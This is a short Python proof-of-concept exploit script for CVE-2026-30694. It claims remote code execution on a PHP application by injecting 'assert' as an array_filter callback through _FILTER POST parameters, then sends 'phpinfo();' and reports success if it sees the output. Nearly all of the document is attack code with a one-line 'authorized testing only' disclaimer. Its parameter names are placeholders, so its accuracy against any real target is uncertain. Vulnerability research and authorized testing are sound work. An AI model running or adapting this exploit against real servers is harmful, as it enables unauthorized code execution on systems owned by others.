The following code is for security research and authorized testing only.
python
import requests
def exploit(target_url):
"""
Proof of Concept for CVE-2026-30694
Demonstrates RCE via array_filter callback injection.
"""
# Payload targeting the vulnerable component
# The exact parameter name might vary based on the specific vulnerable endpoint
payload = {
# Injecting the callback function name (e.g., 'assert')
"_FILTER[0]": "assert",
# Injecting the argument to the callback (PHP code to execute)
"_FILTER[1]": "phpinfo();",
# Additional parameters required to reach the vulnerable code path
"action": "vulnerable_action"
}
try:
response = requests.post(target_url, data=payload)
if "phpinfo" in response.text:
print("[+] Exploit successful! Code execution detected.")
else:
print("[-] Exploit failed or target not vulnerable.")
except Exception as e:
print(f"[!] Error: {e}")
# Usage example
# exploit("http://target-url/vulnerable_endpoint.php")